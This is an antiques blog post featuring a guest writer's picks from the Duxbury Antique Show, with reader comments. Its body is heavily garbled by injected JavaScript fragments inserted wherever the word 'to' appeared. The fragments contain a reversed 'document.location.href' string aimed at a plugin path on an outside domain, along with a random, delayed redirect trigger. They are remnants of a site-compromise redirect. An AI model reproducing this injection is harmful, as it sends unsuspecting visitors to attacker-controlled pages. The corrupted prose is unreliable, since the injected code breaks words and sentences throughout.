USA EDITION: Duxbury Antique Show with Guest Blogger Linda Merrill

Dear Diva Readers,

toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}top:2px;padding-right:5px;font-family:times;”>I am absolutely delighted toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to introduce you toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the Diva of the Day – Ms. Linda Merrill, one of the most popular design bloggers on the net and I’m absolutely honored she agreed toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to write a guest blog for The Antiques Diva™ site! In addition toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to being a 1st class blogger, Linda is an expert in the fields of interior design, media communications & marketing. A lifelong passion for creating beautiful – and livable – spaces combined with a savvy business mind has brought her design work and writing toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to an international audience.

Linda offers her interior design services in person in Massachusetts and “virtually” world wide, which is a great service for budget projects both far and near! Her blog, Surroundings, offers her unique views on architecture, photoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tographic toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tours, product reviews, design inspirations, special events and even movie set decor!

toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to 10px; WIDTH: 400px; CURSOR: hand; HEIGHT: 138px; TEXT-ALIGN: center” alt=”” src=”http://3.bp.blogspot.com/_kcTb8DnPVW4/S7cEPKsJ67I/AAAAAAAAEec/qGIJJmBJspQ/s400/Surroundings.jpg” border=”0″ />Serving on the Board of Directoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tors of the IFDA (International Furnishing & Design Association) as VP of Communications, Linda is a sought-after writer and voice in the field of interior design. As if this lady doesn’t sound busy enough, she also produces and moderates my favorite podcast/radio show – the weekly roundtable discussion group, The Skirted Roundtable!

It’s this latter endeavor that first brought me worshiping at the alter of Linda!

toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to 10px; WIDTH: 400px; CURSOR: hand; HEIGHT: 131px; TEXT-ALIGN: center” alt=”” src=”http://1.bp.blogspot.com/_kcTb8DnPVW4/S7cEsLIX5lI/AAAAAAAAEes/lyFUtW-To4M/s400/Skirted+Roundtable.jpg” border=”0″ />Linda, along with Megan from Beach Bungalow 8 and Joni from Cote de Texas discuss blogging and interior design weekly on a radio show/podcast featuring an intimate profile with some of the toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}top names in design including:
Alessandra Branca, Interior Designer
Charlotte Moss, designer, entrepreneur, philanthropist
Eddie Ross and Jaithan Kochar, designers, entrepreneurs
Grant K. Gibson, Interior Designer

Linda always keeps me informed on who’s who and what’s what in the world of design and toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}today she’ll be sharing with you some fabulous finds she discovered recently while at The Duxbury Antiques Show.

On that note, TaTa from Me and Bonjour from Linda!

The Antiques Diva™

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GUEST BLOG: LINDA MERRILL

I went toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the Duxbury Antique Show recently and found several items of interest that I thought your readers would enjoy. Just a little histoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tory, Duxbury (my hometoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}town) is a small coastal Massachusetts toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}town that was founded in 1636 as an offshoot of Plymouth Colony. Two of our most famous residents were John and Priscilla Alden – so histoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tory is all around us here! This was the 29th Annual Duxbury Antique Show and is mounted by The Duxbury Boosters Club, who raises funds toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to benefit the high school athletic department. The show is held in the high school gym and I must say it’s much more enjoyable toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to peruse antiques in that space than play dodge ball! I still have nightmares! But, I digress. The show boasted 50 booths and was quite a bustling scene!

Here are a few items that really caught my eye:

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1) Copper Clothes Washer, 1912. $310


This “Easy” washer has recently been re-wired and the folks at Bent Nail Farm Antiques, Marshfield Hills, MA say it works. This would make a pretty fun conversation piece and perhaps make a great ice bucket for a big party!

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2) Misc. silver plate serving pieces. $5-$12


This was a lovely little collection of silver plate serving pieces. I wished I’d had more than $13 in my wallet or my check book. While they are only silver plate, the pieces were well-priced. At Roland Morgan, Portsmouth, RI.

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3) Decorative Squirrel water spout, $45


I thought this would make a lovely wall-mounted faucet for a vessel sink in a powder room. Obviously, you’d have toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to build it out a bit since it’s not wide, but it would sure be cute! At Jack Tullish Antiques & Fine Art.

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4) Art Nouveau bust of a Medieval Noblewoman. 16-1/2′ high in painted plaster. $350


At Stephen L. Snow Auctioneers & Appraisers. Isn’t she pretty? I thought she’d look so pretty on a library shelf, or in a garden room. There’s just something so serene in her countenance.

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5) Botanical prints at The Scrapbook, Essex, MA. $57 each


These are hand-colored wood engravings, originally printed around 1599. What a beautiful addition toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to a garden room!

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6) Purple tinted antique bottles at Camille Buda & Matt King, Marshfield, MA Priced between $12-20 each.


Apparently, these small bottles would have been originally clear glass, circa 1880-1920. Manganese was used at the time toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to bleach glass toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to make it clear, but over time, sunrays or UV rays turned the manganese purple. A little research tells me that bottles this deep a purple would have been subjected toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to artificial UV rays in order toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to enhance the color. They sure are pretty though!

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7) Victoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}torian Candle lamps at Camille Buda Antiques, Marshfield, MA. Price not noted.


The glass globes of these candle lamps are so beautiful! The color just popped and is so fresh toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}today. I was honestly not sure about the base – it looked toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}too “stainless steel” toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to me and I wondered if they were replacements, but I didn’t have a chance toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to ask the owners.

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8) Set of twelve Limoges oyster plates. $1,350/set.


Duxbury is known for its bay oysters, so these plates seemed right at home. I don’t personally like oysters, but I might change my mind if they were served on these dishes. I also love the idea of rough and gnarly oysters plated on porcelain and gold. At Ciel Glynn Antiques, Cambridge, MA.

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9) Pewter and mirrored tile candle sconces. Pair for $425

I just loved these sconces and wish they were in my budget right now! They would produce such a beautiful glow with the candle light dancing in the mirrors. At Bayberry Antiques, Rockland, MA.

The Boosters usually hold this show in early Spring every year. Their website is here: Duxbury Boosters.

I hope you all enjoyed my selection of favorite items from this year’s Duxbury Antique Show!

Guest Blogger,
Linda Merrill

THE DIVA OF THE DAY:
Linda Merrill, IFDA!


Linda Merrill Decorative Surroundings
PO Box 1206 Duxbury, MA 02332
781-585-0275
http://www.lindamerrill.com/

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12 thoughts on “USA EDITION: Duxbury Antique Show with Guest Blogger Linda Merrill”

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  2. Excellent discovery! I'm only a few hours away and sounds like Duxbury is worth a day trip, even if not during the time of this antiques show. Thanks!
    Gregory

  3. Thank you Toma and Linda, great post and I really enjoyed all you had to share.
    The limoges plates are wonderful as are the purple tinted antique bottles… so many wonderful antiques.

    Happy Easter
    Hugs
    Carolyn

  4. Toma, thank you so much for inviting me to do this guest post and for all your kind words! I hope you're readers will enjoy my antique finds as much as I enjoy seeing a crown on my head!

  5. Toma & Linda! What a dynamic diva combination!
    Thank you Toma for your comment on my blog about your roof-top garden. We need to talk.
    And Linda, thank you for taking us on a fabulous antique hunt at Duxbury. Oh my gosh the wash bin, the maiden statue and the Limoges set. All my favorites. Linda you have the finest taste, no wonder Toma invited you as her guest.
    Hope you both have a blessed Easter and a wonderful weekend!
    xo Lisa

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